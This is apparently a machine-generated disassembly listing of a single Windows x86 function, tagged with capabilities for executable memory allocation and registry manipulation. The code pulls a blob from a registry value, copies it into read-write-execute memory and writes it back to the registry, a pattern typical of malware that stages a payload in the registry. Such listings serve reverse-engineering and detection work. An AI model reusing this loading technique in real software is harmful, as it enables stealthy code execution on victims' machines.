Function at 0x4087c0
Capabilities:
Allocate or change rwx memory
Delete registry value
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x550290
mov eax, dword fs:[0]
push eax
push ecx
sub esp, 0xaa4
mov eax, dword [0x5a42e4]
xor eax, ebp
mov dword [ebp - 0x2c], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov dword [ebp - 0xaa0], ecx
mov eax, dword [ebp + 8]
movzx ecx, byte [eax]
cmp ecx, 0xc9
jne 0x40880b
jmp 0x408d15
cmp dword [ebp + 0xc], 0x65
jne 0x408bbb
mov dword [ebp - 0x18], 3
mov dword [ebp - 0x14], 0
lea edx, [ebp - 0x1c]
push edx
push 0x20019
push 0
push 0x57f9d8
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x408913
lea eax, [ebp - 0x14]
push eax
push 0
lea ecx, [ebp - 0x18]
push ecx
push 0
mov edx, dword [str.d33f351a4aeea5e608853d1a56661059]
push edx
mov eax, dword [ebp - 0x1c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
cmp dword [ebp - 0x14], 0xa44
jbe 0x408909
mov ecx, dword [ebp - 0x14]
push ecx
call fcn.0040d1ec
add esp, 4
mov dword [ebp - 0xa88], eax
mov edx, dword [ebp - 0xa88]
mov dword [ebp - 0x20], edx
mov eax, dword [ebp - 0x14]
push eax
push 0
mov ecx, dword [ebp - 0x20]
push ecx
call fcn.0052c750
add esp, 0xc
lea edx, [ebp - 0x14]
push edx
mov eax, dword [ebp - 0x20]
push eax
lea ecx, [ebp - 0x18]
push ecx
push 0
mov edx, dword [str.d33f351a4aeea5e608853d1a56661059]
push edx
mov eax, dword [ebp - 0x1c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x408909
mov ecx, 0x291
mov esi, dword [ebp - 0x20]
mov edi, 0x5acb00
rep movsd dword es:[edi], dword [esi]
push 0x40
push 0x3000
mov ecx, dword [0x5acd08]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0x5ad544], eax
mov edx, dword [0x5acd08]
push edx
mov eax, dword [ebp - 0x20]
add eax, 0xa44
push eax
mov ecx, dword [0x5ad544]
push ecx
call fcn.0052e1a0
add esp, 0xc
mov edx, dword [ebp - 0x1c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [ebp - 0xaa4], 0x5acd0c
mov eax, dword [ebp + 8]
add eax, 1
mov dword [ebp - 0xaa8], eax
mov ecx, dword [ebp - 0xaa8]
mov dx, word [ecx]
mov word [ebp - 0xaaa], dx
mov eax, dword [ebp - 0xaa4]
cmp dx, word [eax]
jne 0x40898f
cmp word [ebp - 0xaaa], 0
je 0x408983
mov ecx, dword [ebp - 0xaa8]
mov dx, word [ecx + 2]
mov word [ebp - 0xaac], dx
mov eax, dword [ebp - 0xaa4]
cmp dx, word [eax + 2]
jne 0x40898f
add dword [ebp - 0xaa8], 4
add dword [ebp - 0xaa4], 4
cmp word [ebp - 0xaac], 0
jne 0x408929
mov dword [ebp - 0xab0], 0
jmp 0x40899a
sbb ecx, ecx
sbb ecx, 0xffffffff
mov dword [ebp - 0xab0], ecx
mov edx, dword [ebp - 0xab0]
mov dword [ebp - 0xab4], edx
cmp dword [ebp - 0xab4], 0
je 0x408bab
cmp dword [0x5ad544], 0
je 0x4089d9
push 0x8000
push 0
mov eax, dword [0x5ad544]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x5ad544], 0
mov dword [ebp - 0xa78], 0
mov ecx, 0x767b
mov word [ebp - 0xa74], cx
mov edx, 0x5f55
mov word [ebp - 0xa72], dx
mov eax, 0x6a21
mov word [ebp - 0xa70], ax
mov ecx, 0x5757
mov word [ebp - 0xa6e], cx
mov edx, 0x2e
mov word [ebp - 0xa6c], dx
mov eax, 0x64
mov word [ebp - 0xa6a], ax
mov ecx, 0x6c
mov word [ebp - 0xa68], cx
mov edx, 0x6c
mov word [ebp - 0xa66], dx
mov eax, 0x5f
mov word [ebp - 0xa64], ax
mov ecx, 0x62
mov word [ebp - 0xa62], cx
mov edx, 0x69
mov word [ebp - 0xa60], dx
mov eax, 0x6e
mov word [ebp - 0xa5e], ax
xor ecx, ecx
mov word [ebp - 0xa5c], cx
push 0x1e4
push 0
lea edx, [ebp - 0xa5a]
push edx
call fcn.0052c750
add esp, 0xc
xor eax, eax
mov word [ebp - 0x876], ax
mov dword [ebp - 0x874], 0
mov dword [ebp - 0x870], 0
push 0x64
push 0
lea ecx, [ebp - 0x86c]
push ecx
call fcn.0052c750
add esp, 0xc
push 0x7d0
push 0
lea edx, [ebp - 0x808]
push edx
call fcn.0052c750
add esp, 0xc
xor eax, eax
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x28], 0xa45
mov ecx, dword [ebp - 0x28]
push ecx
call fcn.0040d1ec
add esp, 4
mov dword [ebp - 0xa8c], eax
mov edx, dword [ebp - 0xa8c]
mov dword [ebp - 0x24], edx
mov eax, dword [ebp - 0x24]
mov byte [eax], 5
mov dword [ebp - 4], 0
mov ecx, 1
test ecx, ecx
je 0x408b3e
mov dword [ebp - 0xa90], 0xb
push 0x59ad94
lea edx, [ebp - 0xa90]
push edx
call fcn.0052bf9b
jmp 0x408b6a
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x28]
push eax
mov ecx, dword [ebp - 0x24]
push ecx
mov ecx, dword [ebp - 0xaa0]
call fcn.004046c0
cmp dword [ebp - 0x24], 0
je 0x408ba9
mov edx, dword [ebp - 0x24]
mov dword [ebp - 0xa94], edx
mov eax, dword [ebp - 0xa94]
push eax
call fcn.0040d1f7
add esp, 4
mov dword [ebp - 0x24], 0
jmp 0x408bb6
mov ecx, dword [ebp - 0xaa0]
call fcn.00408780
jmp 0x408d15
mov esi, dword [ebp + 8]
add esi, 1
mov ecx, 0x291
mov edi, 0x5acb00
rep movsd dword es:[edi], dword [esi]
push 0x40
push 0x3000
mov ecx, dword [0x5acd08]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0x5ad544], eax
mov edx, dword [0x5acd08]
push edx
mov eax, dword [ebp + 8]
add eax, 0xa45
push eax
mov ecx, dword [0x5ad544]
push ecx
call fcn.0052e1a0
add esp, 0xc
mov edx, dword [0x5acd08]
add edx, 0xa44
mov dword [ebp - 0xa80], edx
mov eax, dword [ebp - 0xa80]
push eax
call fcn.0040d1ec
add esp, 4
mov dword [ebp - 0xa98], eax
mov ecx, dword [ebp - 0xa98]
mov dword [ebp - 0xa7c], ecx
cmp dword [ebp - 0xa7c], 0
je 0x408cdc
mov ecx, 0x291
mov esi, 0x5acb00
mov edi, dword [ebp - 0xa7c]
rep movsd dword es:[edi], dword [esi]
mov edx, dword [0x5acd08]
push edx
mov eax, dword [0x5ad544]
push eax
mov ecx, dword [ebp - 0xa7c]
add ecx, 0xa44
push ecx
call fcn.0052e1a0
add esp, 0xc
lea edx, [ebp - 0xa84]
push edx
push str.Console0
push connect
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
jne 0x408ccf
mov eax, dword [str.d33f351a4aeea5e608853d1a56661059]
push eax
mov ecx, dword [ebp - 0xa84]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov edx, dword [ebp - 0xa80]
push edx
mov eax, dword [ebp - 0xa7c]
push eax
push 3
push 0
mov ecx, dword [str.d33f351a4aeea5e608853d1a56661059]
push ecx
mov edx, dword [ebp - 0xa84]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov eax, dword [ebp - 0xa84]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [ebp - 0xa7c], 0
je 0x408d0a
mov ecx, dword [ebp - 0xa7c]
mov dword [ebp - 0xa9c], ecx
mov edx, dword [ebp - 0xa9c]
push edx
call fcn.0040d1f7
add esp, 4
mov dword [ebp - 0xa7c], 0
mov ecx, dword [ebp - 0xaa0]
call fcn.00408780
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x2c]
xor ecx, ebp
call fcn.0052ad34
mov esp, ebp
pop ebp
ret 8